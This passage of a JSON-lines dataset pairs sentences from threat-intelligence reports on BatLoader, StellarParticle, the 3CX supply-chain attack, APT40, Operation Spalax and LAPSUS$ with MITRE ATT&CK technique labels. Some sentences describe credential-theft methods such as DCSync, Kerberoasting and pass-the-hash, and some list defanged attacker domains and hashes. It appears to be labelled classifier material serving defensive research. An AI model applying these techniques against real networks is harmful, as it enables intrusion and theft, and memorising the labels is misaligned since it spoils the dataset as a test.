Cloud sp. z o.o.” does not come with an embedded PowerShell script.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "Figure 34: Malicious MSI installer creating the registry key and dropping the binary file under AppData/Local/SetupProject1 The avolkov.exe binary (MD5: d41e0fee0ec6c2e3da56a6dcf53607da) utilizes libcurl 7.85.0 which enables the data transfer with URL syntax for protocols such as HTTP/HTTPS, FTP, DICT, SMTP, IMAP, POP3, LDAP, acting as a potential backdoor and loader.", "labels": ["T1071.001", "T1112"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "The script also no longer pulls runanddelete.bat file from the C2.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "If the conditions are not met and the host belongs to the workgroup, the script retrieves the Cobalt Strike payload named installv2.dll (MD5: 4a6898a4584fdfb34bbeefc77bc882c4) and runs it via rundll32.exe with an ordinal “SRANdomsrt”.", "labels": ["T1105", "T1218.011"], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "Connect with an eSentire Security Specialist.", "labels": [], "doc_title": "eSentire Threat Intelligence Malware Analysis BatLoader"} {"sentence": "This activity is tracked by CrowdStrike as the StellarParticle campaign and is associated with the COZY BEAR adversary group.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "This blog discusses the novel tactics and techniques leveraged in StellarParticle investigations conducted by CrowdStrike.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "Log in to O365 as a user with privileged access to cloud resources.", "labels": ["T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "A solution such as CrowdStrike Falcon:registered: Identity Threat Detection would help identify these anomalous logons — and especially infrequent destinations for accounts.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "The threat actor accomplished this by using administrative accounts to connect via SMB to targeted users, and then copy their Chrome profile directories as well as data protection API (DPAPI) data.", "labels": ["T1078", "T1570"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "The decryption of the cookies is believed to have taken place offline after exfiltrating the data via the clipboard in the threat actor’s RDP session.", "labels": ["T1021.001", "T1140"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "For Microsoft Cloud Solution Partners, there are only two substantial administrative options today when managing a customer’s environment, Admin agent or Helpdesk agent.2", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "This database stores historical information on user access to various services (or in Windows parlance, Roles) on the server for up to three years (three years minus one day) by default.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "An overview of UAL, what information it contains and how it can be leveraged in forensic investigations can be found here.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "It is likely GoldMax has been used as a long-term persistence backdoor during StellarParticle-related compromises, which would be consistent with the few changes made to the malware to modify existing functions or support additional functionality.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "In addition, the randomly named directories are typically created in a previously existing directory that’s one level off of the root of the C drive.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "The randomly named directories have a consistent length where the first directory is six characters and the next directory is three characters.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "FQDN C:\\XX\\[a-z0-9]{6}\\[a-z0-9]{3}\\domain-2.FQDN", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "In each case, immediately prior to the creation of the directories referenced above, there was evidence of execution of a VBScript file by the same user that browsed to the directories.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "The name of the VBScript files varied across engagements and was generally designed to look fairly innocuous and blend in.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "Due to the subdirectories that are named after the FQDNs for victim domains, CrowdStrike assesses with moderate confidence that the scripts represent an AD enumeration tool used by the adversary.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "In some instances these points of contact were subsequently targeted for further data collection.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "C:\\Users\\\\AppData\\Local\\Microsoft\\AzureAD\\Powershell\\. While the logs didn’t include what data was returned by the queries, they did provide some insight such as the user account used to connect to the victim’s O365 tenant (which was not the same as the user the threat actor used to RDP to the vCenter server).", "labels": ["T1021.001", "T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "All Group.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "Read, Files.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "WSMan connection string registry location While not strictly related to the O365 PowerShell activity, the Windows Event Log Microsoft-Windows-WinRM%4Operational.evtx also included information on connection attempts made to external O365 tenants.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "This operation type is named Add service principal credentials.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "Remote Tasklist The threat actor attempted to remotely list running processes on systems using tasklist.exe.", "labels": ["T1057"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "This command uses the Microsoft Directory Replication Service (MS-DRSR) protocol and specifically the IDL_DRSGetNCChanges method to return account information from Active Directory such as the current NTLM password hashes and previous password hashes used for enforcing password reuse restrictions.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "Given this extended period, it is logical to assume that some credentials obtained by the threat actor would be rotated during normal business operations.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "Endnotes https://us-cert.cisa.gov/sites/default/files/publications/CISA_Fact_Sheet-Russian_SVR_Activities_Related_to_SolarWinds_Compromise_508C.pdf https://docs.microsoft.com/en-us/partner-center/permissions-overview https://docs.microsoft.com/en-us/partner-center/announcements/2021-december#9 https://attack.mitre.org/techniques/T1546/003/ CrowdStrike Premium Intelligence Report https://attack.mitre.org/techniques/T1213/001/ https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/ https://docs.microsoft.com/en-us/azure/active-directory/conditional-access/block-legacy-authentication https://docs.microsoft.com/en-us/exchange/applicationimpersonation-role-exchange-2013-help https://github.com/MichaelGrafnetter/DSInternals https://attack.mitre.org/techniques/T1003/006/ https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/bbee5135-3db2-4824-873a-55104c3610ad MITRE ATT&CK Framework The following table maps TTPs covered in this article to the MITRE ATT&CK:registered: framework.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "Remote Desktop Protocol The threat actor used both privileged and non-privileged accounts for RDP throughout the environment, depending on the target system Initial Access, Persistence T1078.004: Valid Accounts: Cloud Accounts The threat actor used accounts with Delegated Administrator rights to access other O365 tenants.", "labels": ["T1021.001", "T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "The Threat actor also used valid accounts to create persistence within the environment.", "labels": ["T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "This info stealer gathers system information and browser data from Chrome, Edge, Brave, and Firefox.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "} {"sentence": "File Type MD5 SHA256 DLL PE 64bits ffmpeg.dll 27B134AF30F4A86F177DB2F2555FE01D C485674EE63EC8D4E8FDE9800788175A8B02D3F9416D0E763360FFF7F8EB4E02 DLL PE 64bits D3dcompiler_47.dll 82187AD3F0C6C225E2FBA0C867280CC9 11BE1803E2E307B647A8A7E02D128335C448FF741BF06BF52B332E0BBF423B03 Table.2 Initial dropped samples Once “ffmpeg.dll” is loaded, it tries to enumerate the current directory for the second DLL “d3dcompiler_47.dll”.", "labels": ["T1083"], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "} {"sentence": "After the identification of the encrypted payload.", "labels": ["T1027"], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "} {"sentence": "Fig.6 Dll loading by encrypted payload Second Stage Analysis The embedded DLL will mainly try to fetch malicious “ico” files from the GitHub Repository “https://raw[.]githubusercontent[.]com/IconStorages/images/main/icon%d[.]ico”.", "labels": ["T1027"], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "} {"sentence": "The repository contains multiple icon files that have Base64 and AES encrypted C2’s appended to them.", "labels": ["T1573.001"], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "} {"sentence": "The full list of decoded C2’s is listed in the IOC section.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "} {"sentence": "Fig.12 CSAM Software Search Qualys VMDR also has QID 378327 ready to detect assets which have the vulnerable version of the 3CXDesktopApp.exe file present on their machines.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "} {"sentence": "Two such open-source scripts are available on GitHub.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "} {"sentence": "These scripts will be published to GitHub in the coming days.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "} {"sentence": "Fig.20 EDR Behavioral Detection Telemetry Fig.21 EDR Shellcode Loader Detection Fig.22 Loaded malicious ffmpeg.dll telemetry While Qualys Endpoint Protection (EPP) users will be automatically protected by default, Qualys EDR-only customers can use the recently released auto-remediation feature to automatically take action.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "} {"sentence": "The attack was a multi-stage chain where attackers compromised a version of the 3CX VoIP desktop client, which was then used to target the company’s customers.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "} {"sentence": "User Execution: Malicious File Defense Evasion T1140 Deobfuscate/Decode Files or Information Defense Evasion T1027 Obfuscated Files or Information Defense Evasion T1574.002 Hijack Execution Flow: DLL Side-Loading Defense Evasion T1553.002 Subvert Trust Controls: Code Signing Defense Evasion T1497.003 Virtualization/Sandbox Evasion: Time-Based Evasion Credential Access T1555 Credentials from Password Stores Credential Access T1539 Steal Web Session Cookie Command and Control T1132.001 Data Encoding: Standard Encoding Command and Control T1102.001 Web Service:", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "} {"sentence": "The infection is spread via 3CXDesktopApp MSI installers.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"} {"sentence": "Over the years, we observed few victims compromised with Gopuram, but the number of infections began to increase in March 2023.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"} {"sentence": "Once dropped, wlbsctrl.dll becomes loaded on every startup by the IKEEXT service via DLL hijacking.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"} {"sentence": "Just like the implants used in the 3CX campaign, Gopuram’s modules are DLL files that include an export function named DllGetClassObject.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"} {"sentence": "Update Encrypts a provided payload", "labels": ["T1027"], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"} {"sentence": "This domain name has previously been attributed to Lazarus by multiple researchers.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"} {"sentence": "Original release date: July 19, 2021SummaryThis Joint Cybersecurity Advisory was written by the Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) to provide information on a Chinese Advanced Persistent Threat (APT) group known in open-source reporting as APT40.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"} {"sentence": "[TA0001] External remote services (e.g., virtual private network", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"} {"sentence": "Additionally, APT40 conducted internal spearphishing attacks [T1534]. BADFLICK/Greencrash China Chopper [S0020] Cobalt Strike [S0154] Derusbi/PHOTO [S0021] Gh0stRAT", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"} {"sentence": "Audit all remote authentications from trusted networks or service providers.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"} {"sentence": "When possible, segment critical information on air-gapped systems.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"} {"sentence": "Domains airbusocean[.]com https://pastebin[.]com/vfb5mbbu pacifichydrologic[.]org cargillnotice[.]com huntingtomingalls[.]com philippinenewss[.]com ccidmeekparry[.]info indiadigest[.]in philstarnotice[.]com ccvzvhjhdf[.]website jack-newnb[.]com porndec143.chickenkiller[.]com cdigroups[.]com kAty197.chickenkiller[.]com santaclarasystem[.]us checkecc[.]com louisdreyfu[.]com scsnewstoday[.]com chemscalere[.]com mail2.ignorelist[.]com secbkav[.]com cnnzapmeta[.]com masterroot[.]pw Soure7788.chickenkiller[.]com corycs[.]com microsql-update[.]info tccoll[.]com deltektimes[.]com mihybb[.]com teledynegroup[.]com Engaction[.]com mlcdailynews[.]com teledyneinstrument[.]com ens-smithjonathan.rhcloud[.]com movyaction[.]net testdomain2019.chickenkiller[.]com fishgatesite.wordpress[.]com msusanode[.]com thestar[.]live goo2k88yyh2.chickenkiller[.]com newbb-news[.]com thrivedataview[.]com gttdoskip[.]com nfmybb[.]com thyssemkrupp[.]com http://gkimertds.wordpress[.]com/feed/ nmw4xhipveaca7hm[.]onion.link/en_US/all.js thyssenkrupp-marinesystems[.]org http://stackoverflow[.]com/users/3627469/angle-swift nobug[.]uk.to togetno992.mooo[.]com http://stackoverflow[.]com/users/3804206/swiftr-angle notesof992.wordpress[.]com tojenner97.chickenkiller[.]com http://stackoverflow[.]com/users/3863346/gkimertdssdads onlinenewspapers[.]club trafficeco[.]com vser.mooo[.]com onlineobl[.]com transupdate[.]com https://pastebin[.]com/p1mktQpD oyukg43t[.]website troubledate[.]com ultrasocial[.]info wsmcoff[.]com xbug.uk[.]to usdagroup[.]com www.yorkshire-espana-sa[.]com/english/servicios/ yootypes[.]com https://github[.]com/slotz/sharp-loader/commit/f9de338fb474fd970a7375030642d04179b9245d MD5 Malware Hashes (Updated July 19, 2021) Note: to uncover malicious activity, incident responders search for indicators of compromise (IOCs) in network- and host-based artifacts and assess the results—eliminating false positives during the assessment.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"} {"sentence": "For example, some MD5 IOCs in the table below identify legitimate tools—such as PuTTY, cmd.exe, svchost.exe, etc.—as indicators of compromise.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"} {"sentence": "Initial version Updated July 19, 2021: Added note and STIX file This product is provided subject to this Notification and this Privacy & Use policy.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"} {"sentence": "In 2020 ESET saw several attacks targeting Colombian entities exclusively.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "and they register new ones on a regular basis.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "We have found some similarities between those attacks and the ones that we describe in this article: We saw a malicious sample included in IoCs of QiAnXin’s report and a sample from the new campaign in the same government organization.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "There is also this report from Trend Micro, from July 2019.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "Attack overview Targets are approached with emails that lead to the download of malicious files.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "An overview of a typical attack is shown in Figure 1.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "Blackface,Breathing rundll32.exe OximeLied,Hostage rundll32.exe Conservatory,Piggins", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "The builder is probably offered in underground forums and includes these benign files.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "In the vast majority of cases these NSIS droppers decrypt and run the Remcos RAT, but we have also seen cases where the payload is njRAT.", "labels": ["T1140"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "Interestingly, the attackers use various payloads, but none of them are Agent Tesla.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "The result is a DLL that will be loaded and called in the same address space.", "labels": ["T1055"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "This one is loaded and executed in the same address space.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "In all the samples that we have seen, the code for the dropper was hiding in non-malicious code, probably copied from other apps.", "labels": ["T1027"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "The .NET packer known as CyaX is used to perform this task.", "labels": ["T1027"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "The majority of the payloads for these droppers are njRAT, but we have also seen AsyncRAT.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "Part of the main routine for the injection of the payload is shown in Figure 19. Figure 19.", "labels": ["T1055"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "AutoIt", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "Figure 20.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "Routine to decrypt strings Once the payload is decrypted, a shellcode with RunPE code is used to perform the injection.", "labels": ["T1055"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "The code that generates these files is shown in Figure 23. Figure 23.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "However, we can state that NSIS droppers mostly drop Remcos, while Agent Tesla and AutoIt packers typically drop njRAT.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "Remcos is a tool for remote control and surveillance.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "While the tool can be used for legitimate purposes, it is also used by criminals to spy on their victims.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "Regarding IP addresses, almost all of them are in Colombia.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "They are used in conjunction with DNS Exit subdomains.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "Spearphishing AttachmentThe attackers have used emails with PDF or RTF files attached that contain a link to download malware.", "labels": ["T1566.001"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "ExecutionT1059.005Command and Scripting Interpreter:", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "T1562.001Impair Defenses: Disable or Modify ToolsThe attackers have used CyaX packer, which can disable Windows Defender.", "labels": ["T1562.001"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "T1497.001Virtualization/Sandbox Evasion:", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "DiscoveryT1010Application", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "DiscoveryThe attackers have used droppers and RATs that gather information about opened windows. T1083File and Directory", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "DiscoveryThe attackers have used njRAT, which attempts to detect if the victim system has a camera during the initial infection.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "T1033System Owner/", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "T1021.001Remote Services: Remote Desktop ProtocolThe attackers have used various RATs that can perform remote desktop access.", "labels": ["T1021.001"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "T1113Screen", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "CaptureThe attackers have used various RATs that can access the victim’s webcam. Command and ControlT1132.001Data Encoding: Standard EncodingThe attackers have used njRAT, which uses base64 encoding for C&C traffic.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "Symmetric CryptographyThe attackers have used Remcos RAT, which uses RC4 for encrypting C&C communications.", "labels": ["T1573.001"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "T1095Non-Application Layer ProtocolThe attackers have used various RATs that use TCP for C&C communications.", "labels": ["T1095"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "T1571Non-Standard PortThe attackers have used various RATs that communicate over different port numbers.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "ExfiltrationT1041Exfiltration", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "Over C2 ChannelThe attackers have used various RATs that exfiltrate data over the same channel used for C&C. 12 Jan 2021 - 11:30AM", "labels": ["T1041"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "We believe the group has also operated prior to this date, though perhaps not under the “LAPSUS$” banner.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"} {"sentence": "However, not all victims or breaches appear to actively be announced via their telegram channel, nor are some victims approached with a ransom.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"} {"sentence": "The result of this is that LAPSUS$ are less predictable which may be why they have seen recent success.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"} {"sentence": "It is also worth mentioning the brazen behaviour of this threat actor and their emboldened attempts at Social Engineering by offering payment for insiders to provide valid credentials.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"} {"sentence": "It is notable that the majority of LAPSUS$ actions exploit the human element as opposed to technical deficiencies or vulnerabilities.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"} {"sentence": "Although potentially viewed as unsophisticated or basic these techniques have been successful, so it is vital that organisations factor in controls and mitigations to address them.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"} {"sentence": "In some instances, victim controlled hostnames were revealed including the host “VULTR-GUEST” which refers to infrastructure hosted on the private cloud service, Vultr[3].", "labels": ["T1082"], "doc_title": "LAPSUS Recent techniques tactics and procedures"} {"sentence": "Exfiltration LAPSUS$’s action on objectives appears to focus on data exfiltration of sensitive information as well as destruction or disruption.", "labels": ["T1005"], "doc_title": "LAPSUS Recent techniques tactics and procedures"} {"sentence": "Ensure that cloud administrative access is configured to prevent unauthorised access to resources and that API keys are not overly permissive to the permissions they require.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"} {"sentence": "Ensure a system is in place to record all helpdesk queries.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"} {"sentence": "Reduce MFA token/Session cookie validity timesEnsure principle of least privilege for user accounts is being adhered to.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"} {"sentence": "Post initial compromise, to be able to execute meaningful attacks, attackers would need to steal credentials to move laterally inside the network, access critical network assets and eventually exfiltrate data.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "Network Deception is one such defensive approach which could potentially prove to be an effective solution to detect credential theft attacks.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "Accurately configuring and tuning the deceptive network can deflect the attacker’s lateral movement path towards the deceptive services, consequently allowing the attackers to engage with the deceptive network, helping enterprises protect production assets.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "Network Deception uses these active defense techniques to build the deceptive network infrastructure which could potentially lead to redirecting an attacker’s lateral movement path and engaging them to the decoy services without touching the critical production systems.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "McAfee Protection McAfee MVISION Endpoint Security has the capabilities to protect against credential theft attacks like credential extraction from LSASS process memory via ATP rule 511.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "One of the primary challenges an attacker will face while moving laterally inside a network is to hide their activities in plain sight by generating a minimum volume of legitimate looking logs to be able to remain undetected.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "Credential theft is one of the primary tasks attackers need to perform post-exploitation and after gaining initial control of the target machine.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "To remain stealthier, these activities would span a period ranging from many weeks to months.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "Over the course of this blog, we will discuss various credential theft techniques used by adversaries during lateral movement.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "We will also discuss an approach that can be used to effectively detect these techniques inside the network.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "Many of these tools are open source and readily available on the internet.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "The encryption and decryption of credentials is done using LsaProtectMemory and LsaUnProtectMemory respectively and hence a decryption tool using these APIs will be able to decrypt LSASS memory buffers and extract them.", "labels": ["T1140"], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "Many Windows services, such as SMB, support NTLM authentication and NTLM hashes can be used directly for authentication eliminating the need for the clear text passwords.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "Figure 3 – Cracking NTLM Hashes offline Attackers avoid using freely available tools like Mimikatz directly on the target machine to harvest credentials since they are easily detected by AVs.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "Below is one such instance where malware embeds recompiled Mimikatz code with the minimal required functionality.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "Figure 4 – Credential extraction tool embedded inside malicious executable Detection can also be avoided by using several “living off the land’ mechanisms, available in many post-exploitation frameworks, to execute the credential harvesting tools directly from memory using Reflective PE injection, where the binary is never written to the disk.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "Stealing Credentials from Security Accounts Manager (SAM) Database The SAM database is a file on a local hard drive that stores the credentials for all local accounts on the Windows computer.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "TGS response from the KDC will have the Kerberos Ticket encrypted with the hash of the service account.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "This can be done by a couple of PowerShell commands generating KRB-TGS-REQ as shown below: Figure 11 – Kerberos TGS request Consequently, the Domain Controller sends the TGS-RESP with the ticket of the service account which will be cached in the memory and can be extracted by dumping tools like Mimikatz as a .kirbi document.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "The Active Directory Database Services AD DS Ntds.dit file is one of the most overlooked attack vectors in the domain environment but can have significant impact if the attacker is able to gain the domain administrative rights leading to complete domain compromise.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "These credentials can then be used by the attacker to further access resources by using attack techniques like PTH within the network since the credentials used across other shared resource could be same.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "Stealing Credentials Through a DCSync Attack – From Domain user to Domain Admin A DCSync attack is a method of credential acquisition which allows an attacker to impersonate the Domain Controller and can consequently replicate all the Active Directory objects to the impersonating client remotely, without requiring the user to logon to the DC or dumping the Ntds.dit file.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "Figure 13 – User with privileges Once the attacker compromises the user account with the required privileges, Pass-The-Hash attacks can be executed to spawn a command shell with the forged logon session.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "Figure 14 – Pass-the-Hash attack Further, as indicated below, any subsequent NTLM authentication from the logon session will use the stolen credentials to authenticate to domain joined systems like the Active Directory Controller.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "With many other event management solutions with SIEMs, used in conjunction with other network security solutions, it becomes a challenge for administrators to distinguish malicious use of legitimate tools and services from lateral movement.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "The idea of deception originates from the decades old honeypot systems but, unlike those, relies more on forging trust and giving adversaries what they are looking for.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "With its inbuilt proactiveness it is configured to lure attackers towards deceptive systems.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "These decoy machines should be joined to the decoy AD and configured with deceptive user accounts to monitor successful logon attempts to the systems.", 